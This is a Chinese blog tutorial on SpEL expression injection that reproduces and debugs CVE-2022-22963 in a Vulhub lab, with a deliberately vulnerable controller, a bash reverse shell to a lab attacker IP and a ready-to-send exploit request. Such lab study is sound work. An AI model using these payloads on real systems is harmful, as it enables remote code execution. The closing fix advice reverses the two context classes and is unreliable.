Java代码审计之SpEL表达式注入漏洞分析

news2024/11/24 12:21:52

文章目录

  • 前言
  • SpEL表达式基础
    • 基础用法
    • 安全风险
    • 案例演示
  • CVE-2022-22963
    • 漏洞简述
    • 环境搭建
    • 反弹shell
  • CVE漏洞调试分析
    • 本地搭建
    • 调试分析
    • 补丁分析
  • 总结

前言

表达式注入是 Java 安全中一类常见的能够注入命令并形成 RCE 的漏洞,而常见的表达式注入方式有 EL 表达式注入、SpEL 表达式注入和 OGNL 表达式注入等。本文将通过调试分析 CVE-2022-22963 漏洞来入门学习 SpEL 表达式注入漏洞的原理。

SpEL表达式基础

SPEL(Spring Expression Language),即 Spring 表达式语言,比 JSP 的 EL 更强大的一种表达式语言。特别是方法调用和基本的字符串模板功能。Spring 框架的核心功能之一就是通过依赖注入的方式来管理 Bean 之间的依赖关系,而 SpEl 可以方便快捷的对 ApplicationContext中 的 Bean 进行属性的装配和提取。

【Question】上面说了 SpEL 是一种表达式语言,那么什么是表达式语言呢?
表达式/模板:在一些功能中,有一些固定的格式,只有部分变量,这样的情况下就需要使用模板,模板就是将固定的部分提取出来形成一个固定的模块,然后经过处理将变量填入其中。

基础用法

如下是 SpEL 表达式求值的一个简单案例:

//创建解析器
ExpressionParser parser = new SpelExpressionParser();
//解析表达式
Expression expression = parser.parseExpression("('Hello' + ' World').concat(#end)");
//构造上下文
EvaluationContext context = new StandardEvaluationContext();
context.setVariable("end", "!");
//表达式求值
System.out.println(expression.getValue(context));

上述流程分为 4 步:

  1. 创建解析器:SpEL 使用 ExpressionParser 接口表示解析器,提供 SpelExpressionParser 默认实现;
  2. 解析表达式:使用 ExpressionParser 的 parseExpression 来解析相应的表达式为 Expression 对象;
  3. 构造上下文:上下文其实就是设置好某些变量的值,执行表达式时根据这些设置好的内容区获取值;
  4. 表达式求值:通过 Expression 接口的 getValue 方法根据上下文获得表达式值。

其中,第三步构造上下文并不是必需的步骤,在不配置的情况下具有默认类型的上下文(StandardEvaluationContext),故以下代码示例与上面代码等价:

//创建解析器
ExpressionParser parser = new SpelExpressionParser(); 
//传入并解析需要评估的表达式
Expression expression = parser.parseExpression("'Hello World!'"); 
//执行表达式,然后获取值
String message = (String) expression.getValue(); 

安全风险

SpeL 表达式语言在 EvaluationContext 上下文类型除了提供默认的 StandardEvaluationContext外,还提供了 SimpleEvaluationContext

【风险】SimpleEvaluationContext 旨在仅支持 SpEL 语言语法的一个子集,不包括 Java 类型引用、构造函数和 bean 引用,而 StandardEvaluationContext 是支持全部 SpEL 语法的,它包含了 SpEL 的所有功能,在允许用户控制输入的情况下可以成功造成任意命令执行,因为 SpEL 表达式是可以操作类及其方法的,可以通过类类型表达式 T(Type) 来调用任意类方法,比如以下示例代码将在 Windows 系统上执行运行计算器的指令:

String expressionstr = "T(Runtime).getRuntime().exec(\"calc\")";
ExpressionParser parser = new SpelExpressionParser();
EvaluationContext evaluationContext = new StandardEvaluationContext();
Expression expression = parser.parseExpression(expressionstr);
system.out.prinln(expression.getValue(evaluarionContext));

与此同时,由于在不指定 EvaluationContext 的情况下默认采用的是 StandardEvaluationContext,所以默认情况下 SpEL 表达式求值存在代码注入导致 RCE 的风险。

案例演示

下面通过本地 IDEA 创建存在简单漏洞示例的 SpringBoot 项目来直观感受下 SpEL 表达式注入漏洞。

1、由于我使用的是社区版的 IDEA(穷,用不起旗舰版),没有 Spring Initializer 功能,无法快捷创建 Spring Boot 项目,只能手动去 https://start.spring.io/ 把工程创建好之后下载下来:
在这里插入图片描述
在这里插入图片描述
2、下载完是个 demo.zip 压缩包工程文件,解压缩后使用 IDEA 社区版 正常 open project 即可,IDEA 会自动下载 pom.xml 配置的依赖包到本地 Maven 仓库:
在这里插入图片描述

修改 IDEA Maven 本地仓库和远程仓库配置的话,请参见:Intellij IDEA配置Maven(内置Maven和修改本地仓库地址和阿里云中央仓库)。

3、到 application.properties 配置文件修改服务端口为 8081(默认为 8080,与BurpSuite抓包代理冲突了):
在这里插入图片描述
4、接着手动新增创建一个控制器 MyController 如下:
在这里插入图片描述

@RestController
public class MyController {
    // 映射到方法上,最终URL为localhost:8081/spel1,此处通常用 @GetMapping("/spel1") 表明GET请求方式的映射
    @RequestMapping("/spel1")
    @ResponseBody
    public String spel(String input){
        SpelExpressionParser parser = new SpelExpressionParser();
        Expression expression = parser.parseExpression(input);
        return expression.getValue().toString();
    }

    @RequestMapping("/spel2")
    @ResponseBody
    public String spel2(String input){
        SpelExpressionParser parser = new SpelExpressionParser();
        EvaluationContext evaluationContext = new StandardEvaluationContext();
        Expression expression = parser.parseExpression(input);
        return expression.getValue(evaluationContext).toString();
    }

    @RequestMapping("/spel3")
    @ResponseBody
    public String spel3(String input){
        SpelExpressionParser parser = new SpelExpressionParser();
        EvaluationContext evaluationContext = SimpleEvaluationContext.forReadOnlyDataBinding().build();
        Expression expression = parser.parseExpression(input);
        return expression.getValue(evaluationContext).toString();
    }
}

上述控制器逻辑很简单,我添加了三个路由:

路由配置是否存在 SpEL 注入漏洞
/spel1不指定 EvaluationContext ,默认是 StandardEvaluationContext
/spel2指定上下文 StandardEvaluationContext
/spel3指定上下文 SimpleEvaluationContext

4、接下来直接运行 SpringBoot 项目,即可在本地 8081 端口成功访问到 Web 服务:
在这里插入图片描述
在这里插入图片描述
5、接下来根据我们配置的路由来验证漏洞,Payload为:/spelX?input=T(Runtime).getRuntime().exec("calc")
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
从上面简单而直观的漏洞示例代码可以看出,在不指定 EvaluationContext 或者显示采用 StandardEvaluationContext 作为上下文的时候,如果 SpEL 表达式的值可被外部输入所控制,则存在因 SpEL 表达式注入导致 RCE 的风险。

CVE-2022-22963

接下来通过复现、调试分析一个 SpEL 表达式注入 CVE 漏洞来进一步学习、理解此类漏洞,此处挑选的是 CVE-2022-22963。

漏洞简述

如 Vulhub官方文档所述:Spring Cloud Function 提供了一个通用的模型,用于在各种平台上部署基于函数的软件,包括像 Amazon AWS Lambda 这样的 FaaS(函数即服务,function as a service)平台。

2022年3月,Spring Cloud 官方修复了一个 Spring Cloud Function 中的 SPEL 表达式注入漏洞,由于 Spring Cloud Function中 RoutingFunction 类的 apply 方法将请求头中的 “spring.cloud.function.routing-expression” 参数作为 SpEL 表达式进行处理,造成了 SpEL 表达式注入漏洞,攻击者可利用该漏洞远程执行任意代码。

【受影响版本】3.0.0.RELEASE <= Spring Cloud Function <= 3.2.2

参考链接:

  1. CVE-2022-22963 漏洞描述;
  2. CVE-2022-22963 官方漏洞修复方案;
  3. Spring Cloud Function SPEL表达式注入漏洞分析;

环境搭建

本文使用 Ubuntu 官方虚拟机 + Vulhub CVE 漏洞靶场环境 复现该漏洞。以前的漏洞复现文章已经写过 Vulhub 靶场的使用步骤:渗透测试-Openssl心脏出血漏洞复现。

整体复述一下,Ubuntu 上安装 Docker 环境和搭建 Vulhub 靶场的步骤:

1、安装docker:
   apt-get install -y docker.io
2、安装docker-compose:
   pip install docker-compose
3、启动docker后台服务:
   sudo service docker start
4、将当前用户加入docker组
   sudo usermod -aG docker $USER
5、配置 docker 加速器(提高容器下载速度):
   https://blog.csdn.net/feiying0canglang/article/details/126491715
6、下载vulhub漏洞目录:
   git clone https://github.com/vulhub/vulhub.git
7、进入想要复现的漏洞对应文件夹:
   cd ~/vulhub/struts2/s2-048/(示例路径)
8、以root身份执行以下命令开始运行漏洞容器:
   docker-compose up -d

回顾 Docker 用法请参考历史博文:渗透测试-Docker容器。

【推荐】提高 Docker 镜像下载速度请参考:Docker–提高下载速度的方法。

此处顺便再简单总结下 Docker 常用命令:

目的命令
在Docker公用仓库搜索镜像docker search bwapp(容器镜像名)
从Docker公用仓库拉取镜像docker pull raesene/bwapp(远程镜像路径)
返回本地Docker容器镜像信息docker images
将镜像运行为一个真正在运行的容器docker run -d -p 8080:80 本地容器镜像名
查看正在运行的容器docker ps
查看所有容器(无论是否正在运行)docker ps -a
查看指定容器的详细信息docker inspect 容器名或id
进入容器的shell交互模式docker exec -i -t 容器id bash
停止正在运行的容器docker stop 容器id
重启本地已停止运行的容器docker start 容器id
强制删除本地容器docker rm -f 容器ID

Ubuntu 虚拟机成功搭建环境如下:
在这里插入图片描述
物理机访问 Docker 服务(http://192.168.171.129:8080/):
在这里插入图片描述

反弹shell

先说下这个漏洞产生的原因:如果在 /functionRouter 的 POST 请求头中添加一个 spring.cloud.function.routing-expression 参数,Spring Cloud Function 会直接将参数值带入 SpEL 中查询导致 SpEL 注入。

那我们直接在 POST 请求中发送反弹 Shell 的命令即可,此处使用同一局域网中的 Kali 虚拟机作为攻击机(192.168.171.128):

bash -i >& /dev/tcp/192.168.171.128/6666 0>&1

但是需要使用 reverse-shell 在线工具 将上述反弹 shell 的命令进行 Base64 编码(具体原因请参见:Java反弹shell小记):
在这里插入图片描述
直接发送报文:

POST /functionRouter HTTP/1.1
Host: 192.168.171.129:8080
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE3MS4xMjgvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}")
Connection: close
Content-Length: 6

test

在这里插入图片描述

【题外话】此处顺便补充一个小技巧,BurpSuite 如果显示字体模糊、分辨率不佳的情况下(比如此图,伤眼睛啊……),可以在桌面快捷方式右键选择“属性”,在兼容性中选择如下配置项后重启即可解决(效果可参见下文另外的 Burp 截图):
在这里插入图片描述
此时 Kali 攻击机可获得反弹的 Shell(其中 1832.168.171.129 正是 Ubuntu 靶机的局域网 IP):在这里插入图片描述
至此,我们已成功复现该漏洞,通过 SpEL 注入实现了 RCE 远程命令执行。

最后,结束 Ubuntu 虚拟机靶场容器环境的运行:
在这里插入图片描述

CVE漏洞调试分析

简单的复现漏洞并不是目的,我们的目的是从历史 CVE 漏洞中分析根因,并尽可能能够实现在白盒代码审计实战中做到举一反三。

本地搭建

此处采用本地 IDEA 新建 SpringBoot 项目的方式来搭建漏洞环境,直接沿用前文 “案例演示” 章节中的简易 SpringBoot 项目。

不想折腾的话可以直接在 Github 获取来源的漏洞环境项目:Spring-Cloud-Function-Spel。

1、只需要在 pom.xml 中新增引入 spring-boot-starter-webspring-cloud-function-web(存在漏洞的 3.2.2 版本):

<dependency>
	<groupId>org.springframework.boot</groupId>
	<artifactId>spring-boot-starter-web</artifactId>
</dependency>
<dependency>
	<groupId>org.springframework.cloud</groupId>
	<artifactId>spring-cloud-function-web</artifactId>
	<version>3.2.2</version>
</dependency>

在这里插入图片描述
2、接着在 application.properties 配置文件中添加spring.cloud.function.definition=functionRouter(此配置也可以不配,非必需)
在这里插入图片描述
3、然后即可到 main 函数启动 Spring 项目:
在这里插入图片描述
在这里插入图片描述

然而发现以下数据包并无法触发漏洞:

POST /functionRouter HTTP/1.1
Host: 127.0.0.1:8081
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("calc.exe")
Connection: close
Content-Length: 4

test

4、最终发现需要修改 pom.xml 配置文件中如下组件版本信息,才能成功触发漏洞(坑啊……):

   <parent>
		<groupId>org.springframework.boot</groupId>
		<artifactId>spring-boot-starter-parent</artifactId>
		<version>2.6.5</version>
		<relativePath/> <!-- lookup parent from repository -->
	</parent>

在这里插入图片描述
在这里插入图片描述

调试分析

需要在上述命令执行处下断点,看下程序执行流程。

SpringCloud Function 之所以能自动将函数建立 http 端点,是因为在包 mvc.FunctionController 中使用 /** 监听了 GET/POST 类型的所有端点:
在这里插入图片描述
故我们在org.springframework.cloud.function.web.mvc.FunctionController#post方法上下断点进行跟踪,程序会获取 body 中的参数,并传入 processRequest 方法中:
在这里插入图片描述

1、接着 processRequest 函数将判断当前请求是否为 RoutingFunction,并将请求的内容和 Header 头编译成 Message 带入到 FunctionInvocationWrapper.apply 方法中:
在这里插入图片描述
2、跟进FunctionInvocationWrapper.apply函数,随后又进入其中的 doApply 方法:
在这里插入图片描述
3、跟进 doApply 函数,会执行到如下 else 分支,进入 RoutingFunction 类的 apply 方法:
在这里插入图片描述
4、继续 step into 跟进 RoutingFunction 类的 apply 方法,发现将进入到org.springframework.cloud.function.context.config.RoutingFunction#route方法中:
在这里插入图片描述
5、跟进 route 函数,发现随后进入的是 else if 分支,由于 exp 请求中的 http 头spring.cloud.function.routing-expression 不为空,则传入其值到functionFromExpression 方法:
在这里插入图片描述
6、step into 跟进 functionFromExpression 方法,发现其使用 SpelExpressionParser 解析了 SpEL 表达式,且调用了 expression.getValue 导致最终触发 SpEL 表达式注入:
在这里插入图片描述
在这里插入图片描述
而此处的 evalContext 又采取了默认的 StandardEvaluationContext(在不指定 EvaluationContext 的情况下默认也采用的是StandardEvaluationContext),而它包含了 SpEL 的所有功能,在允许用户控制输入的情况下 SpEL 表达式是可以操作类及其方法的,可以通过类类型表达式 T(Type) 或者直接 new 来调用任意对象的任意方法,成功造成任意命令执行。
在这里插入图片描述
在这里插入图片描述

跟踪到这已经完成整个 SpEL 表达式注入的触发流程了,后续就不用再跟下去了。至此可以发现,只要通过环境变量、配置文件或者参数等方式配置为 spring.cloud.function.definition=functionRouter, 即可触发 SpEL 注入。

补丁分析

SpringCloud 官方已经修复了此问题,在 GitHub 上给出了修复 commit:

https://github.com/spring-cloud/spring-cloud-function/commit/0e89ee27b2e76138c16bcba6f4bca906c4f3744f

和其他 SpEL 注入修复方式一样,修补代码核心是在 functionFromExpression 函数中,使用了安全的 SimpleEvaluationContext 替换不安全的 StandardEvaluationContext
在这里插入图片描述
在这里插入图片描述
上述代码增加判断带解析的 SpEL 表达式来源是否是 header,如果是 header 就使用属于 SimpleEvaluationContextheaderEvalContext,不是 header 才会使用属于 StandardEvaluationContextevalContext

总结

本文重点分析了 CVE-2022-22963,总结来说就是 Spring Cloud Function 相关版本提供的 spring.cloud.function.routing-expression 有解析Spel表达式的能力,而且使用的是默认的 StandardEvaluationContext,导致存在 SpEL 表达式注入。恶意攻击者无需认证即可通过构造特定的 HTTP 请求头注入 SpEL 表达式,最终执行任意命令,获取服务器权限。

漏洞检测

来小结下对 Java 项目进行代码审计过程中,挖掘 SpEL 表达式注入漏洞可行的套招。

整体来说,由于此类代码流程特征为:

parseExpression()----StandardEvaluationContext()----getvalue()

所以可以在代码中全局搜索 parseExpression 方法,审计其输入是否外部可控,然后看使用的上下文是否是 StandardEvaluationContext(默认的也是StandardEvaluationContext),最后看是否执行了 getvalue() 等操作方法。如果满足上面的要求,则说明存在 SPEL 注入漏洞。

漏洞修复

很简单,使用 StandardEvaluationContext 替换 SimpleEvaluationContext,或者对外部输入的 SpEL 表达式进行过滤。

本文参考文章:

  1. Java安全学习:表达式注入;
  2. SPEL表达式注入——入门篇;
  3. Java代码审计之SpEL表达式注入;
  4. Spring Cloud Function Spel表达式注入;
  5. SpringCloud Function SpEL注入漏洞分析(CVE-2022-22963);

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1301832.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Proteus仿真--射击小游戏仿真设计

本文介绍基于proteus射击小游戏仿真设计&#xff08;完整仿真源文件及代码见文末链接&#xff09; 仿真图如下 K1-K4为4个按键&#xff0c;用于上移、下移、确认等&#xff0c;模拟单机游戏 仿真运行视频 Proteus仿真--射击小游戏仿真设计 附完整Proteus仿真资料代码资料 …

个人博客搭建保姆级教程-发布篇

发布方式 可以使用gitee或者github托管博客内容&#xff0c;然后直接在服务端nginx目录进行拉取。或者将内容压缩&#xff0c;拷贝到对应目录后再进行解压。 发布位置 前面我们已经部署了nginx服务器。这里我们需要将对应的html文件拉取或拷贝到对应的文件夹&#xff0c;即n…

销售技巧培训之如何提升门店销售技巧

销售技巧培训之如何提升门店销售技巧 在如今竞争激烈的商业环境中&#xff0c;提升门店销售技巧对于实现销售业绩的飞跃至关重要。本文将探讨如何通过了解客户需求、制定优惠策略、优化销售流程、加强顾客关系管理等手段来提升门店销售技巧&#xff0c;并结合实际案例进行分析…

为什么说AI现在还不行!

AI最近有点被妖魔化了&#xff0c;很像一个老虎在还没有橘猫大的时候&#xff0c;就已经被天天当成虎力大仙来讨论。这种普遍的高预期其实是有害的&#xff0c;尤其是当事情本身还需要耐心细致深耕且长跑的时候。资本、品牌可以匹配高预期所对应的增长倍数&#xff0c;业务则不…

传音荣获2023首届全国人工智能应用场景创新挑战赛“智能遥感专项赛”三等奖

11月26日&#xff0c;2023首届全国人工智能应用场景创新挑战赛“智能遥感专项赛”在北京圆满落幕。传音参赛项目《传音智慧应用平台产业化》凭借在技术攻关、社会效益和经济效益等多方面的突出优势荣获“智能遥感专项赛”三等奖。 本次竞赛以“场景驱动数智强国”为主题&#…

教师的未来发展前景

大家好&#xff5e;今天来聊聊一个大家都超关心的话题&#xff1a;教师的未来发展前景&#xff01;毕竟&#xff0c;教育可是人类文明的基石&#xff01; 1. 技术赋能&#xff0c;让教育更高效 未来&#xff0c;AI、大数据和虚拟现实等技术会越来越多地应用在教育中。老师们可…

报错解决:ImportError: /usr/lib64/libstdc++.so.6: version GLIBCXX_3.4.20 not found

问题描述 使用LAC&#xff08;https://github.com/baidu/lac/blob/master/README.md&#xff09;时&#xff0c;使用如下指令安装lac&#xff1a; pip install lac执行如下代码&#xff1a; from LAC import LAC报错&#xff1a; Error: Can not import paddle core while …

一文讲解如何从 Clickhouse 迁移数据至 DolphinDB

ClickHouse 是 Yandex 公司于2016年开源的 OLAP 列式数据库管理系统&#xff0c;主要用于 WEB 流量分析。凭借面向列式存储、支持数据压缩、完备的 DBMS 功能、多核心并行处理的特点&#xff0c;ClickHouse 被广泛应用于广告流量、移动分析、网站分析等领域。 DolphinDB 是一款…

算法leetcode|92. 反转链表 II(rust重拳出击)

文章目录 92. 反转链表 II&#xff1a;样例 1&#xff1a;样例 2&#xff1a;提示&#xff1a;进阶&#xff1a; 分析&#xff1a;题解&#xff1a;rust&#xff1a;go&#xff1a;c&#xff1a;python&#xff1a;java&#xff1a; 92. 反转链表 II&#xff1a; 给你单链表的…

自动驾驶MCU软件架构说明

文档 变更历史 版本Version 状态 Status 内容 Contents 日期 Date 撰写 Editor 批准 Approver Term 编号 No. 术语和缩写 Terms & Abbreviation 解释 Explanation 引用文档 编号 No. 文档名称 Document Name 文档版本 Do…

做题总结 59. 螺旋矩阵 II

跟着代码随想录顺序到这题&#xff0c;不会做。不知道怎么才能实现。 PS&#xff1a;我是用 java实现的。 题目&#xff1a;给你一个正整数 n &#xff0c;生成一个包含 1 到 n^2 所有元素&#xff0c;且元素按顺时针顺序螺旋排列的 n x n 正方形矩阵 matrix 。 总结思路为&am…

【华为鸿蒙系统学习】- HarmonyOS4.0开发|自学篇

​ &#x1f308;个人主页: Aileen_0v0 &#x1f525;热门专栏: 华为鸿蒙系统学习|计算机网络|数据结构与算法 &#x1f4ab;个人格言:"没有罗马,那就自己创造罗马~" 目录 HarmonyOS 4.0 技术介绍&#xff1a; HarmonyOS三大特征&#xff1a; 1.实现硬件互助&#…

【Python必做100题】之第七题(求圆的面积)

圆的面积公式&#xff1a;S pi * r * r 代码如下&#xff1a; pi 3.14 r float(input("请输入圆的半径&#xff1a;")) s pi * r * r print("圆的面积是&#xff1a;%.3f" %s) 运行结果如下&#xff1a; 总结&#xff1a; 1、圆的面积公式&#xff…

【Spring教程17】Spring框架实战:实例详解解读AOP通知类型的使用

欢迎大家回到《Java教程之Spring30天快速入门》&#xff0c;本教程所有示例均基于Maven实现&#xff0c;如果您对Maven还很陌生&#xff0c;请移步本人的博文《如何在windows11下安装Maven并配置以及 IDEA配置Maven环境》&#xff0c;本文的上一篇为《AOP配置管理中AOP切入点表…

Python:核心知识点整理大全13-笔记

目录 6.4.3 在字典中存储字典 6.5 小结 第7章 用户输入和while循环 7.1 函数 input()的工作原理 7.1.1 编写清晰的程序 7.1.2 使用 int()来获取数值输入 7.1.3 求模运算符 7.1.4 在 Python 2.7 中获取输入 7.2 while 循环简介 7.2.1 使用 while 循环 往期快速传送门…

机器学习与人工智能:一场革命性的变革

机器学习与人工智能&#xff1a;一场革命性的变革 人工智能的概述什么是机器学习定义解释 数据集结构机器学习应用场景 人工智能的概述 1956年8月&#xff0c;在美国汉诺斯小镇宁静的达特茅斯学院中&#xff0c;约翰麦卡锡&#xff08;John McCarthy&#xff09;、马文闵斯基&…

SDXL使用animateDiff和hotshot-xl进行文生视频

截至2023.12.8号&#xff0c;目前市面上有两款适用于SDXL的文生视频开源工具&#xff0c;分别是AnimateDiff和hotshot-xl。 一、工具下载链接 &#xff08;1&#xff09;AnimateDiff的webui版本的git链接&#xff1a; GitHub - continue-revolution/sd-webui-animatediff: A…

前端 usbkey navigator.usb 登录检测

前端 usbkey navigator.usb 实现登录 前言调用api 报错总结 前言 navigator.usb 是一个与USB设备交互的API&#xff0c;它允许网页和浏览器扩展程序访问连接到电脑的USB设备。这个API可以让网页直接与USB设备进行数据交换&#xff0c;而无需用户手动安装任何软件。navigator.u…

【计算机网络实验】实验三 IP网络规划与路由设计(头歌)

目录 一、知识点 二、实验任务 三、头歌测试 一、知识点 IP子网掩码的两种表示方法 32位IP子网掩码&#xff0c;特点是从高位开始连续都是1&#xff0c;后面是连续的0&#xff0c;它有以下两种表示方法&#xff1a; 传统表示法&#xff0c;如&#xff1a;255.255.255.0IP前…

四年成长总结

树叶绿了又落下&#xff0c;树叶落下又绿了……季节如此&#xff0c;时间依然。 每到快结束的时候&#xff0c;总是不免的使人伤怀起来&#xff0c;可能是昨天的昨天仍旧使人“忆”&#xff0c;明天的未知使人“追”&#xff0c;不论是昨天亦或是明天&#xff0c;“斯为泰山而…